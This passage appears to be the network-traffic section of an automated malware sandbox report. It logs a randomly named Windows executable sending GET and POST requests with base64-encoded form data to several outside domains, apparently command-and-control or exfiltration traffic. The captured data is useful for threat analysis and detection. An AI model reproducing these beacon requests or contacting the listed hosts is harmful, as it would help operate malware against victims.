22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Jul 1, 2024 19:26:17.580935955 CEST	189	IN	Data Raw: 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 Data Ascii: ry not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	64484	43.198.80.127	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:19.230746031 CEST	456	OUT	GET /i6sl/?Lb=GFtlIrHx8T50&FTP84=qssHGV29j0ZCAjpN6QtzDw+gnCiynPmFES/c0m6mTWJ8eKXYeJPjMTEVk7GvbqhDwPeBMRZatQ3ofr/5XjUfaZC8rCPfXyoknOgmUV1BLU/3HLT18Q+LgoHdoh8bcR/ofs2EqraVghMO HTTP/1.1 Host: www.botokkkd4.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:26:20.122318983 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Mon, 01 Jul 2024 17:26:20 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Jul 1, 2024 19:26:20.122387886 CEST	189	IN	Data Raw: 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 Data Ascii: ry not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	64485	45.130.41.249	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:25.502549887 CEST	713	OUT	POST /1cpo/ HTTP/1.1 Host: www.cvt-auto.ru Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.cvt-auto.ru Referer: http://www.cvt-auto.ru/1cpo/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 61 55 42 47 61 6c 31 6d 58 41 76 51 37 32 47 42 39 6b 6a 65 55 6a 47 72 61 65 73 59 66 48 31 48 2f 6d 6a 31 66 79 64 48 38 33 58 61 47 71 58 61 59 47 79 5a 42 42 6b 72 76 6c 4f 44 4e 49 45 77 4b 33 65 4b 76 50 66 39 42 46 75 6c 30 6b 6c 41 4e 5a 68 57 51 44 6d 31 6e 39 68 41 44 54 6c 34 65 41 73 71 49 6e 64 54 6c 39 49 50 71 73 4b 76 6b 51 39 4c 64 47 59 68 44 72 56 53 4e 48 56 6d 63 79 65 34 5a 69 48 4f 38 32 49 57 4e 72 74 6e 47 39 59 6a 62 5a 59 47 35 51 6c 6e 55 66 4b 31 2b 68 48 38 67 78 52 72 70 59 4e 51 54 56 67 2f 47 43 2f 36 51 5a 37 6d 33 52 39 41 34 68 65 68 2b 66 4c 78 35 30 34 35 32 4a 34 4b 57 35 4c 55 63 77 3d 3d Data Ascii: FTP84=aUBGal1mXAvQ72GB9kjeUjGraesYfH1H/mj1fydH83XaGqXaYGyZBBkrvlODNIEwK3eKvPf9BFul0klANZhWQDm1n9hADTl4eAsqIndTl9IPqsKvkQ9LdGYhDrVSNHVmcye4ZiHO82IWNrtnG9YjbZYG5QlnUfK1+hH8gxRrpYNQTVg/GC/6QZ7m3R9A4heh+fLx50452J4KW5LUcw==
Jul 1, 2024 19:26:26.293921947 CEST	366	IN	HTTP/1.1 301 Moved Permanently Server: nginx-reuseport/1.21.1 Date: Mon, 01 Jul 2024 17:26:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close X-Powered-By: PHP/8.3.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.cvt-auto.ru/1cpo/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	64486	45.130.41.249	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:28.041009903 CEST	733	OUT	POST /1cpo/ HTTP/1.1 Host: www.cvt-auto.ru Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.cvt-auto.ru Referer: http://www.cvt-auto.ru/1cpo/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 61 55 42 47 61 6c 31 6d 58 41 76 51 70 43 36 42 77 6e 62 65 46 7a 47 6f 66 65 73 59 56 6e 31 44 2f 6d 76 31 66 7a 59 43 38 6c 7a 61 47 4c 6e 61 4a 33 79 5a 53 78 6b 72 68 46 4f 61 43 6f 45 72 4b 32 6a 2f 76 4e 4c 39 42 42 47 6c 30 6c 56 41 59 36 4a 52 4b 7a 6d 33 2b 4e 68 47 4e 7a 6c 34 65 41 73 71 49 6e 34 32 6c 39 51 50 71 63 36 76 69 79 5a 49 51 6d 59 75 54 4c 56 53 63 58 56 69 63 79 65 57 5a 67 7a 6b 38 79 34 57 4e 76 70 6e 46 70 45 67 43 70 59 41 6d 41 6b 79 53 76 44 78 37 43 6a 38 68 43 46 65 78 36 39 44 53 6a 39 64 63 67 7a 57 4f 49 44 64 7a 54 5a 32 76 48 44 55 38 65 50 70 30 57 4d 59 70 2b 64 67 62 72 71 51 4b 43 52 57 42 73 39 63 36 2f 61 51 36 69 6d 6b 79 41 41 42 5a 6f 41 3d Data Ascii: FTP84=aUBGal1mXAvQpC6BwnbeFzGofesYVn1D/mv1fzYC8lzaGLnaJ3yZSxkrhFOaCoErK2j/vNL9BBGl0lVAY6JRKzm3+NhGNzl4eAsqIn42l9QPqc6viyZIQmYuTLVScXVicyeWZgzk8y4WNvpnFpEgCpYAmAkySvDx7Cj8hCFex69DSj9dcgzWOIDdzTZ2vHDU8ePp0WMYp+dgbrqQKCRWBs9c6/aQ6imkyAABZoA=
Jul 1, 2024 19:26:28.835242987 CEST	366	IN	HTTP/1.1 301 Moved Permanently Server: nginx-reuseport/1.21.1 Date: Mon, 01 Jul 2024 17:26:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close X-Powered-By: PHP/8.3.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.cvt-auto.ru/1cpo/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	64487	45.130.41.249	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:30.574495077 CEST	1746	OUT	POST /1cpo/ HTTP/1.1 Host: www.cvt-auto.ru Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.cvt-auto.ru Referer: http://www.cvt-auto.ru/1cpo/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 61 55 42 47 61 6c 31 6d 58 41 76 51 70 43 36 42 77 6e 62 65 46 7a 47 6f 66 65 73 59 56 6e 31 44 2f 6d 76 31 66 7a 59 43 38 6c 37 61 47 34 2f 61 62 6b 71 5a 52 78 6b 72 70 6c 4f 48 43 6f 46 7a 4b 32 37 37 76 4e 33 4c 42 44 2b 6c 6d 7a 4a 41 4a 72 4a 52 66 6a 6d 33 32 74 68 44 44 54 6c 74 65 41 38 75 49 6e 6f 32 6c 39 51 50 71 66 69 76 69 67 39 49 53 6d 59 68 44 72 55 41 4e 48 56 47 63 79 57 67 5a 67 6d 52 38 68 77 57 4e 50 35 6e 44 61 73 67 4b 70 59 43 6e 41 6c 78 53 76 66 2b 37 43 2b 48 68 42 59 7a 78 36 56 44 51 79 34 6b 48 52 66 6f 4d 34 54 70 7a 41 77 61 6c 52 76 72 34 63 66 55 7a 58 30 72 70 2b 56 30 41 49 69 35 4a 33 73 62 41 39 39 51 36 73 57 65 78 53 62 52 33 68 6f 79 45 38 68 34 56 6f 6b 34 49 4b 57 47 39 52 38 57 48 41 44 51 59 2f 74 6d 6e 39 46 6c 54 48 67 2f 73 77 46 4b 57 50 71 53 7a 4a 46 79 49 57 65 44 71 70 7a 6a 43 71 63 5a 46 62 78 6d 38 4b 32 48 75 68 62 6e 6a 6f 7a 4f 33 75 55 70 45 6f 30 46 4a 57 37 68 7a 73 66 61 6e 71 79 70 53 33 70 56 31 71 39 41 62 68 44 77 [TRUNCATED] Data Ascii: FTP84=aUBGal1mXAvQpC6BwnbeFzGofesYVn1D/mv1fzYC8l7aG4/abkqZRxkrplOHCoFzK277vN3LBD+lmzJAJrJRfjm32thDDTlteA8uIno2l9QPqfivig9ISmYhDrUANHVGcyWgZgmR8hwWNP5nDasgKpYCnAlxSvf+7C+HhBYzx6VDQy4kHRfoM4TpzAwalRvr4cfUzX0rp+V0AIi5J3sbA99Q6sWexSbR3hoyE8h4Vok4IKWG9R8WHADQY/tmn9FlTHg/swFKWPqSzJFyIWeDqpzjCqcZFbxm8K2HuhbnjozO3uUpEo0FJW7hzsfanqypS3pV1q9AbhDwaTuul/rxYv3emNOz59ElVHTKV487QHY+IuBbX8jIHK3nUuOsYBl/rCCt5H7Dwq2zt0hACgg/dGqLzNRWHSp8tqLdOacNhxFQemobANwRgHnKNQVL4t4j3FjicCsKkaEuwepqg3l/iJqOWATR8BQPTj7/r+LbtvedRhszgbGb50vFdu58lyUrEb6dTCrrxmC4PWrwFJ18vUBrPWaVYaWnw6//e1TunsfudcKT2FSYMjI5/FRFbkO0b/RjG29yk31Yz2ufzMKPK2AGLFKHWrPdYHVSsF1OxzGs7SssdrRccyiBR72flPfipqF+aLLlijQQakIds6cyKDhqmL0XW0bpuE1ssADUcwiALYcBEHDP7u68unmZ5G1zmAyjErDGknsJDDIwr1jjaGp9xZBV3ySp5nPzvxbpg+Xyi4PYY/oI4MYe1ToTjpCedI+cWr9+VssMbK8zVLpJxk5+SIkON8X5WnifUUAx3AGUzi9q5YGDwOypAfTiLDk1pSOMtqEbofazH4VTxD+VT3q/VamHJNsK4/bqPsdlDq2LtwYaAnvUlf6DojMnijeKopD1nPPAoDYh+YacwcFcuRy3mgOnSsv8LN5lrNqcHfk/zgV0a7rtpNR2eNXGbsJIv82XRw+L9o/53xMFij+nWWxS1ys/Giriv1D4Fip4m+fuDM [TRUNCATED]
Jul 1, 2024 19:26:31.389900923 CEST	366	IN	HTTP/1.1 301 Moved Permanently Server: nginx-reuseport/1.21.1 Date: Mon, 01 Jul 2024 17:26:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close X-Powered-By: PHP/8.3.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.cvt-auto.ru/1cpo/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	64488	45.130.41.249	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:33.240206957 CEST	454	OUT	GET /1cpo/?FTP84=XWpmZSZkQQ3crjSg4jO9FnvqfvQgDjUUlmKrUzlk+2X+Pq/xYmmvIQcMng+aGKp/N3zIo6PNXS6jtUQwBpM9XRiN/OVETSVEN1Q9JXY1u8NKleTflw9Of0xlNOdKZA91JkeaJQbbmRkx&Lb=GFtlIrHx8T50 HTTP/1.1 Host: www.cvt-auto.ru Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:26:34.063911915 CEST	529	IN	HTTP/1.1 301 Moved Permanently Server: nginx-reuseport/1.21.1 Date: Mon, 01 Jul 2024 17:26:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close X-Powered-By: PHP/8.3.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.cvt-auto.ru/1cpo/?FTP84=XWpmZSZkQQ3crjSg4jO9FnvqfvQgDjUUlmKrUzlk+2X+Pq/xYmmvIQcMng+aGKp/N3zIo6PNXS6jtUQwBpM9XRiN/OVETSVEN1Q9JXY1u8NKleTflw9Of0xlNOdKZA91JkeaJQbbmRkx&Lb=GFtlIrHx8T50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	64489	91.195.240.123	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:39.195626974 CEST	725	OUT	POST /blq3/ HTTP/1.1 Host: www.ridcoredry.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.ridcoredry.live Referer: http://www.ridcoredry.live/blq3/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 79 53 6f 67 6c 42 53 73 6c 66 42 70 6c 53 2f 62 7a 77 57 4e 31 64 30 6c 38 41 38 36 67 62 2f 53 64 50 76 50 39 66 62 61 49 52 79 53 31 6e 31 5a 7a 53 42 32 79 70 7a 58 34 53 6f 73 35 44 64 55 36 62 68 58 6d 50 62 31 7a 4f 75 32 33 39 2b 57 4a 49 69 76 37 45 74 42 4d 72 79 34 30 62 79 58 51 39 41 4c 2b 76 45 50 71 58 2f 47 4e 56 5a 77 55 52 2f 73 56 62 2b 70 43 37 31 41 54 36 38 31 62 51 34 66 61 70 7a 35 36 36 64 33 79 48 59 6b 56 67 69 6e 79 53 56 41 4e 33 47 52 6b 4b 69 72 68 59 61 4f 34 4a 33 61 2f 44 42 31 51 37 67 67 38 78 75 4f 72 48 49 6e 6a 31 66 6b 30 74 67 79 6c 2f 6a 37 54 33 76 39 4a 6f 6d 75 61 34 48 72 73 41 3d 3d Data Ascii: FTP84=ySoglBSslfBplS/bzwWN1d0l8A86gb/SdPvP9fbaIRyS1n1ZzSB2ypzX4Sos5DdU6bhXmPb1zOu239+WJIiv7EtBMry40byXQ9AL+vEPqX/GNVZwUR/sVb+pC71AT681bQ4fapz566d3yHYkVginySVAN3GRkKirhYaO4J3a/DB1Q7gg8xuOrHInj1fk0tgyl/j7T3v9Jomua4HrsA==
Jul 1, 2024 19:26:39.897694111 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Mon, 01 Jul 2024 17:26:39 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	64490	91.195.240.123	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:41.755805016 CEST	745	OUT	POST /blq3/ HTTP/1.1 Host: www.ridcoredry.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.ridcoredry.live Referer: http://www.ridcoredry.live/blq3/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 79 53 6f 67 6c 42 53 73 6c 66 42 70 6c 7a 50 62 79 53 2b 4e 30 39 30 69 35 41 38 36 35 72 2b 5a 64 50 6a 50 39 61 37 4b 49 44 57 53 30 47 46 5a 39 77 35 32 78 70 7a 58 73 69 6f 54 30 6a 64 66 36 62 73 69 6d 4b 7a 31 7a 4f 71 32 33 34 61 57 4a 62 36 6f 34 30 74 44 58 37 79 36 33 72 79 58 51 39 41 4c 2b 76 34 31 71 54 54 47 4e 6c 4a 77 62 55 66 76 57 62 2b 6d 4b 62 31 41 46 36 38 70 62 51 34 35 61 6f 75 75 36 38 5a 33 79 47 6f 6b 56 78 69 6b 37 53 55 46 51 48 48 76 73 59 72 2f 68 38 65 49 32 4a 75 4f 6e 6a 6c 6f 63 74 39 43 6d 54 69 69 31 57 77 63 6e 33 37 53 6a 4c 39 48 6e 2b 6e 6a 65 56 62 63 57 66 44 45 58 71 6d 76 36 78 6d 4e 32 35 72 49 54 2f 6e 43 79 6e 4c 74 77 4b 76 55 34 59 55 3d Data Ascii: FTP84=ySoglBSslfBplzPbyS+N090i5A865r+ZdPjP9a7KIDWS0GFZ9w52xpzXsioT0jdf6bsimKz1zOq234aWJb6o40tDX7y63ryXQ9AL+v41qTTGNlJwbUfvWb+mKb1AF68pbQ45aouu68Z3yGokVxik7SUFQHHvsYr/h8eI2JuOnjloct9CmTii1Wwcn37SjL9Hn+njeVbcWfDEXqmv6xmN25rIT/nCynLtwKvU4YU=
Jul 1, 2024 19:26:42.421699047 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Mon, 01 Jul 2024 17:26:42 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	64491	91.195.240.123	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:26:44.289427996 CEST	1758	OUT	POST /blq3/ HTTP/1.1 Host: www.ridcoredry.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.ridcoredry.live Referer: http://www.ridcoredry.live/blq3/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 79 53 6f 67 6c 42 53 73 6c 66 42 70 6c 7a 50 62 79 53 2b 4e 30 39 30 69 35 41 38 36 35 72 2b 5a 64 50 6a 50 39 61 37 4b 49 44 65 53 31 77 52 5a 39 58 56 32 2b 4a 7a 58 76 69 6f 53 30 6a 64 43 36 62 6b 75 6d 4b 2f 4c 7a 4d 69 32 32 62 69 57 59 36 36 6f 6a 6b 74 44 49 72 79 35 30 62 79 47 51 39 52 44 2b 76 49 31 71 54 54 47 4e 6a 31 77 66 42 2f 76 5a 37 2b 70 43 37 31 4d 54 36 38 4e 62 52 51 48 61 6f 71 2b 36 4d 35 33 38 47 34 6b 53 44 36 6b 6d 69 55 4c 54 48 48 6e 73 59 33 4a 68 39 33 33 32 4b 7a 56 6e 6b 52 6f 5a 49 49 72 38 69 4f 34 68 57 73 46 70 33 37 6f 6c 74 6c 32 76 4e 66 72 58 46 33 6d 64 59 58 36 5a 36 57 76 78 6b 50 76 75 2f 58 70 5a 39 53 51 79 44 33 68 6c 59 50 4c 37 6f 52 55 68 66 2f 6e 79 58 46 39 4d 44 76 64 51 68 64 78 5a 63 76 71 44 71 61 7a 5a 66 70 77 6e 6a 50 55 4e 66 66 43 6e 4f 39 2b 42 6b 4c 44 66 5a 6a 5a 49 63 78 50 70 61 6f 59 6b 4a 57 65 4a 49 59 68 61 59 63 7a 79 4d 32 32 33 6e 63 56 70 54 70 34 74 43 56 73 5a 42 50 75 45 4c 46 69 42 34 31 79 7a 51 4c 59 [TRUNCATED] Data Ascii: FTP84=ySoglBSslfBplzPbyS+N090i5A865r+ZdPjP9a7KIDeS1wRZ9XV2+JzXvioS0jdC6bkumK/LzMi22biWY66ojktDIry50byGQ9RD+vI1qTTGNj1wfB/vZ7+pC71MT68NbRQHaoq+6M538G4kSD6kmiULTHHnsY3Jh9332KzVnkRoZIIr8iO4hWsFp37oltl2vNfrXF3mdYX6Z6WvxkPvu/XpZ9SQyD3hlYPL7oRUhf/nyXF9MDvdQhdxZcvqDqazZfpwnjPUNffCnO9+BkLDfZjZIcxPpaoYkJWeJIYhaYczyM223ncVpTp4tCVsZBPuELFiB41yzQLYhMWUTWiyAC6Scz/zstyBtiKkhxVsZAptQOXBcXzn95GKbK6ns2c6eNssXgP0xx6kOvTYmfrnlfsXREuZRILSa3+zr8RXiwZLYUcNgYPEn36aZYm11FqTn0oxTXE5sRrxWy21dz2AoU3gcP5MyUAqKeKETqtYpwku44nayNM/LnSLKAcaILOEr24hRkrPbG2kxbDSrugRc3M/Hc9g483uEg16eZZCBABgUbr68VHTNEJ4xgHCq7bNFY0/R6dOt08tAlHD5s1bBb2cg87M6R3ZaBsGk70NCPr8PbNEUOGPufuhuZt5ysFNbTm47yS81ibbzM+mXTASfafFfNvwIbD6JmQr5dzMIU8k7pwwFQI7BTdyxvrF0thYN+vLkzh63ldRa5QuCHjzU